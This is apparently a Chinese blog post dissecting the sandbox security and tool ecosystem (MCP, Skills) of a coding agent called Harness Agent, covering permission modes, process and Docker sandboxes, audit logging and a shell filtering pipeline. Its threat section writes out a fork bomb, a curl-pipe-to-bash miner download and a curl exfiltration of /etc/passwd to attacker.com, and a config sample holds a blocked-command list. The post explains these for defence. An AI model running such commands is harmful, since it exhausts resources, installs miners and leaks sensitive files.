【Harness Agent】源码剖析三沙箱安全与工具生态——从白名单到 MCP写在前面前两篇我们拆完了 Harness Agent 的架构全貌和 Core Engine/Steering 系统。今天我们进入 Harness 最硬核的子系统——沙箱安全与工具生态。Coding Agent 的核心矛盾是它需要强大的执行能力读写文件、执行命令、访问网络但这些能力一旦被恶意利用后果不堪设想。Harness 的解法是四层纵深防御 三种沙箱模式 审计全链路追溯同时通过 MCP 协议和 Skills 技能系统实现工具的动态扩展。理解了这两个系统你就理解了 Harness 为什么敢让 AI Agent 执行任意 Shell 命令。 文章目录 一、为什么 Coding Agent 需要沙箱️ 二、四层纵深防御体系 三、三种沙箱模式None / Process / Docker️ 四、Shell 执行管道六阶段安全过滤 五、工具生态Tools MCP Skills 六、系列终章回顾 一、为什么 Coding Agent 需要沙箱1.1 四种真实攻击向量当你运行harness --permission bypass时Agent 拥有完整的系统访问权限——网络、文件系统、进程。如果 Agent 被恶意 Prompt 诱导或者执行了不可信来源的代码会发生什么攻击向量一Fork Bomb。Agent 执行:(){ :|: };:创建无限子进程耗尽系统资源导致机器崩溃。这不是假设——这是每个 Coding Agent 都必须防御的真实威胁。攻击向量二Crypto Miner。Agent 执行curl -s http://attacker.com/miner | bash在后台安装并运行挖矿软件持续消耗 CPU。由于 Agent 本身就会长时间运行挖矿行为很难被察觉。攻击向量三Data Exfiltration。Agent 执行curl attacker.com -d /etc/passwd将敏感文件发送到攻击者控制的服务器。更隐蔽的变体可能只发送环境变量中的 API Key。攻击向量四Disk Fill。Agent 执行dd if/dev/zero of/tmp/huge bs1G创建巨大文件耗尽磁盘空间导致其他服务崩溃。1.2 Harness 的核心安全原则Harness 的安全设计遵循一个核心原则默认拒绝显式允许。Agent 不能做任何事除非你明确授权。这个原则贯穿了从权限系统到沙箱配置到审计日志的每一层。️ 二、四层纵深防御体系Harness 的安全不是单点防御而是四层纵深防御Defense-in-Depth。每一层都是独立的防线即使某一层被绕过下一层仍然有效。2.1 第一层Permissions — 权限门控权限系统是第一道防线决定 Agent 能不能执行某个操作。Harness 支持三种权限模式模式行为适用场景ask每次工具调用前询问用户交互式使用安全优先auto自动允许安全操作询问危险操作日常开发平衡安全与效率bypass自动允许所有操作CI/CD 环境效率优先需配合沙箱# permissions/policy.py — 权限策略classPermissionPolicy:defcheck(self,tool_call:ToolCall)-PermissionDecision:ifself.modeask:returnPermissionDecision.ASKelifself.modeauto:iftool_call.is_destructive:returnPermissionDecision.ASKreturnPermissionDecision.ALLOWelse:# bypassreturnPermissionDecision.ALLOW2.2 第二层Sandbox — 沙箱隔离沙箱是第二道防线即使 Agent 获得了执行权限操作也在隔离环境中运行。Harness 提供三种沙箱模式详见第三节从无隔离到完全 Docker 隔离。2.3 第三层Audit — 审计追溯审计是第三道防线记录所有工具调用、文件修改、模型响应。即使攻击发生了也能事后追溯和恢复。# audit/logger.py — 审计日志classAuditLogger:deflog_tool_call(self,tool:str,args:dict,result:Any):entryAuditEntry(timestampnow(),tooltool,argsargs,result_hashhash(result),session_idself.session_id,)self.store.append(entry)审计日志的关键特性不可篡改append-only、可查询按 session/tool/time、可回放重现完整执行路径。2.4 第四层Steering — 行为引导Steering 是第四道防线通过事件驱动 System Reminder 在关键决策点注入安全提醒。例如工具调用前提醒不要删除 .git 目录迭代超限提醒考虑换策略。这防止了 LLM 在长会话中遗忘安全策略。 三、三种沙箱模式None / Process / Docker3.1 None 模式——无隔离最简单的模式命令直接在宿主机执行。适合完全信任 Agent 的场景如本地开发、CI/CD。优点零开销、最快速度、完整系统访问。缺点零隔离、Agent 拥有完整权限、风险最高。harness--sandboxnoneRun the test suite# 命令直接在宿主机执行无任何限制3.2 Process 模式——进程级隔离使用setrlimit在进程级别限制资源。不需要 Docker轻量快速。核心限制限制配置项默认值说明内存max_memory_mb512每条命令的内存上限CPU 时间max_cpu_seconds30每条命令的 CPU 时间上限进程数max_processes256防止 Fork Bomb网络network_accessfalse禁止网络访问文件路径allowed_paths项目目录只允许访问指定路径# sandbox/process.py — 进程级沙箱classProcessSandbox:defexecute(self,command:str,config:SandboxConfig):# 1. 设置 setrlimit 限制resource.setrlimit(resource.RLIMIT_AS,(config.max_memory_mb*1024*1024,-1))resource.setrlimit(resource.RLIMIT_CPU,(config.max_cpu_seconds,-1))resource.setrlimit(resource.RLIMIT_NPROC,(config.max_processes,-1))# 2. 设置文件路径白名单ifconfig.allowed_paths:os.chroot(self._create_chroot(config.allowed_paths))# 3. 禁止网络Linux namespaceifnotconfig.network_access:self._disable_network()# 4. 执行命令returnsubprocess.run(command,timeoutconfig.max_cpu_seconds)3.3 Docker 模式——容器级隔离使用 Docker 容器提供完整隔离。文件系统、网络、进程全部隔离是最安全的模式。核心优势完整文件系统隔离、网络命名空间--networknone、最强隔离级别、自定义镜像实现可复现环境。要求Docker 必须安装、Docker daemon 必须运行、启动比 Process 模式慢、首次使用需拉取镜像。harness--sandboxdockerRun the test suite# 在 Docker 容器中执行完整隔离# 默认镜像python:3.12-slim3.4 SandboxConfig vs SandboxPolicyHarness 区分了两种沙箱配置对象SandboxConfig来自 TOML 文件的扁平配置用于文件级配置SandboxPolicy运行时策略对象由 Engine 从 SandboxConfig 转换而来包含更丰富的运行时逻辑# TOML → SandboxConfig → SandboxPolicyconfigSandboxConfig(enabledTrue,modeprocess,max_memory_mb512,network_accessFalse,allowed_paths[/home/user/project],blocked_commands[rm -rf /,curl])policySandboxPolicy.from_config(config)# 转换为运行时策略️ 四、Shell 执行管道六阶段安全过滤Harness 的 Shell 执行不是简单的subprocess.run()而是一个六阶段安全管道阶段一Parse — 命令解析将原始命令字符串解析为结构化表示识别命令名、参数、管道、重定向等。阶段二Validate — 命令验证对照blocked_commands和allowed_commands列表验证命令。如果命令在黑名单中直接拒绝如果不在白名单中当白名单启用时也拒绝。阶段三Transform — 命令变换对命令进行安全变换移除危险重定向如 /etc/passwd、注入超时前缀如timeout 30、添加路径限制前缀。阶段四Execute — 沙箱执行在沙箱环境中执行变换后的命令。根据沙箱模式选择 Process 或 Docker 执行。阶段五Capture — 输出捕获捕获 stdout、stderr 和退出码。对输出进行截断防止超长输出淹没上下文和脱敏移除环境变量中的密钥。阶段六Return — 结果返回将结构化的执行结果返回给 Agent Loop。包含退出码、stdout截断后、stderr截断后、执行时间、资源使用量。 五、工具生态Tools MCP Skills5.1 内置工具集Static ToolsHarness 内置了一套完整的 Coding Agent 工具集每个工具都有 Pydantic 输入验证和 JSON Schema 自描述。模型自动理解工具参数无需手动描述。工具功能安全等级file_read读取文件内容只读file_write写入文件写入shell_exec执行 Shell 命令执行最高权限edit编辑文件fuzzy match写入grep / glob搜索文件只读web_fetch获取网页内容网络5.2 MCP 协议集成Dynamic ToolsMCPModel Context Protocol是 Harness 的动态工具扩展机制。Agent 可以连接到 MCP 服务器运行时发现和加载外部工具。核心特性动态发现MCP 服务器在运行时暴露工具列表Agent 自动发现传输协议支持 stdio本地进程和 SSE远程 HTTP两种传输热加载无需重启 AgentMCP 工具自动合并到工具集权限继承MCP 工具继承 Agent 的权限策略和沙箱配置# .harness/config.toml — MCP 服务器配置 [mcp.servers] github { command mcp-server-github } postgres { command mcp-server-postgres, args [--db, myapp] }5.3 Skills 技能系统Lazy-LoadedSkills 是 Harness 的懒加载技能系统。每个 Skill 是一个 Markdown 文件定义了触发条件、所需工具和提示词模板。Skill 只在触发条件满足时才加载到上下文中不浪费 Token 预算。# skills/audit-report.md --- trigger: audit report tools: [mcp.audit.*] priority: 10 --- Generate a comprehensive audit report covering: 1. User actions in the last 24 hours 2. Resource changes and deployments 3. Authentication events and access patterns5.4 工具发现与合并流程当 Agent 启动时工具发现流程如下加载内置工具从tools/目录加载静态工具集连接 MCP 服务器根据配置启动 MCP 服务器获取动态工具列表扫描 Skills 目录检查skills/目录中的 Markdown 文件合并工具集将静态工具 MCP 工具 Skill 工具合并为统一工具集生成 JSON Schema为每个工具生成 JSON Schema供 LLM 理解懒加载 SkillsSkill 的提示词只在触发条件满足时注入 六、系列终章回顾三篇文章我们从全局到细节完整拆解了 Harness Agent 的源码架构。最后用一张表回顾全系列全系列核心概念速查篇目核心概念一句话总结第一篇五层架构 Agent LoopHarness 是包裹在 LLM 外面的完整基础设施第二篇Core Engine Steering四层配置 三种 Workflow 事件驱动 Reminder第三篇沙箱安全 工具生态四层纵深防御 三种沙箱 MCP SkillsHarness Agent 设计哲学总结1. 安全优先默认拒绝显式允许。四层纵深防御确保即使一层被绕过下一层仍然有效。2. 模型无关支持任意 OpenAI 兼容端点四层配置让不同 Workflow 绑定不同模型。3. Compound AI System不是单一 LLM 调用而是多 Agent 多 Workflow 多 LLM 的结构化组合。4. 可观测性所有操作可审计、可追溯、可回放。透明是安全的基础。5. 可扩展性MCP 协议实现动态工具发现Skills 实现懒加载技能注入不浪费 Token 预算。三大框架终极对比维度Harness AgentLangGraphOpenClaw定位Coding Agent 运行时Agent 编排框架Agent Gateway安全四层纵深防御 三种沙箱Channel/Reducer CheckpointPRISM 五层防御 Tool Policy状态Context CompactionChannel ReducerLane Queue Session工具Static MCP SkillsToolNodeChannel/Skills模型多模型按 Workflow 绑定单模型单模型pi-mono适用Coding Agent / 终端通用工作流多平台 Agent一句话总结Harness Agent 用四层纵深防御Permissions → Sandbox → Audit → Steering确保 Coding Agent 安全可控三种沙箱模式None/Process/Docker覆盖从开发到生产的所有场景六阶段 Shell 执行管道确保每条命令都经过安全过滤。工具生态用 MCP 协议实现动态扩展Skills 技能系统实现懒加载注入。安全不是 Harness 的一个功能——它是 Harness 的设计基础。参考链接Harness Agent GitHub 仓库Harness Sandboxed Execution 教程Harness MCP Servers 文档Building AI Coding Agents for the Terminal (arXiv:2603.05344)AI Harnesses: Making AI Agents Safer